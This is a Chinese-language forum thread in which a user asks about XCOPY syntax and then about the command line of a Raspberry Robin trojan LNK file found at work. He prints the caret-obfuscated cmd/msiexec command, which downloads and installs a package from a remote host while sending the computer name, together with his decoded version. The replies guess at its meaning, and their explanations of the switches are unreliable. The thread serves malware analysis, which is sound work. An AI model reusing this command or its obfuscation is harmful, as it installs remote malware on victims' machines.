自習中發現的一件事,比如Xcopy指令 :
XCOPY source [destination] [/A | /M] [/D[:date]] [/P] [/S [/E]] [/V] [/W]
[/C] [/I] [/Q] [/F] [/L] [/G] [/H] [/R] [/T] [/U]
[/K] [/N] [/O] [/X] [/Y] [/-Y] [/Z] [/B] [/J]
[/EXCLUDE:file1[+file2][+file3]...]
有一些參數可以調用。但某天不小心觸碰了新的東西。如圖 :
這個狀況我該怎麼理解 ? 是一個參數辨識為指令,兩個參數會自動辨認為對應位置 ? 還是會因為調用參數而辨識是使用甚麼指令 ?
有試著丟去餵google,但不知道要怎麼餵才會有大約能理解的解答。就馬上先來這裡詢問各位先進。
--------------追加-------------
看了先進們的回應,回想了一些東西,我知道我應該又在問奇怪的問題(或是我提問的方式有誤)。
linux的shell script檔案,通常可能是比如 /home/user1/Imashfile.sh 這樣就會執行該檔案。但這裡還能理解是在做shell command。
最近在工作的地方抓了一個被掃出 Lnk.Trojan.RaspberryRobin-9949891-1 的植入檔案。
看到該檔案在做的事情是這樣的 :
C:\WINDOWS\system32\cmd.exe %comspec% /d/y/V /CSta^r^TmSI^E^x^EC -^q ^L^V^W=^z^u /^P^a^C^k^AGE "HtTP://6t.Pm:8080/BdBf0iDtSLMumS3ghkEIJTUcbQu0iVq4L4H/!cOmpuTernamE!" ^VTK^n^p=zh
用windows執行%conspec%會叫出cmd視窗---查了一下是windows的環境變數。單獨丟入/CSta^r^TmSI^E^x^EC,會得到/CStarTmSIExEC,那試著假設整個要做的事情應該會是
C:\WINDOWS\system32\cmd.exe %comspec% /d/y/V /CStarTmSIExEC -q LVW=zu /PaCkAGE "HtTP://6t.Pm:8080/BdBf0iDtSLMumS3ghkEIJTUcbQu0iVq4L4H/!cOmpuTernamE!" VTKnp=zh
原意是想從中看能不能學到一些可以用的東西。現在是看不懂 /d/y/V 這裡要做的到底是甚麼事情...是/d/y/V在使用之前,環境變數已經被定義了,還是在這裡是在做其他事情 ?
你追加的資訊才是真正你想問的,跟上面的XCOPY根本毫無關聯
你想了解這段指令在做什麼C:\WINDOWS\system32\cmd.exe %comspec% /d/y/V /CSta^r^TmSI^E^x^EC -^q
首先前面的C:\WINDOWS\system32\cmd.exe
這段可以得知他是CMD的狀態下執行
重點是CMD又呼叫了%comspec%變數,如果單純乾淨的Windows下,
這個變數剛好又是CMD的路徑
如果是這樣,"正常情況下你要去找CMD的參數",
然後你要做的事情可能毫無意義,我只能推測你根本是想知道惡意程式在做什麼
從上面的指令看來,單純的就是CMD又呼叫了一次CMD起來做事情,
但是參數跟CMD湊不起來,因為變數本來就可以運行CMD前定義或者運行後額外定義
就下底下我直接把Hello宣告成變數,讓他跟CMD的路徑一樣
所以要嘛CMD已經被動過手腳改變過,所以可以認得/d/y/V參數要做什麼,
不然就是已經定義成別的執行檔,然後再把/d/y/V參數塞給它
除非你有其他更詳細的資料去分析它,不然單純只靠這樣的LOG想了解幫助不大
-- 重新編輯,誤會問題了 --
我有點誤會你的問題了。回答的有點快
這邊重新說明一下。
正常在WINDOW下,路徑的標識符是「\」
但其實「/」會被有條件式的視為路徑標識符。
當一個字串中有包含兩個「/」並連結無空白的情況下。
則CMD其實會試著做路徑連結的指向處理。
這其實我在早期有不小心發現到。因為在LINUX中都是用「/」
有時我會COPY指令過來時。居然可過。
有注意到其實WINDOW系統也會將「/」視為一種路徑連結的表現。
但要符合某些必要的情況才會。
但符合怎麼樣的條件我沒去研究就是了。
其實有些指令。也可以用「/」來當路徑指向。但有些就不行。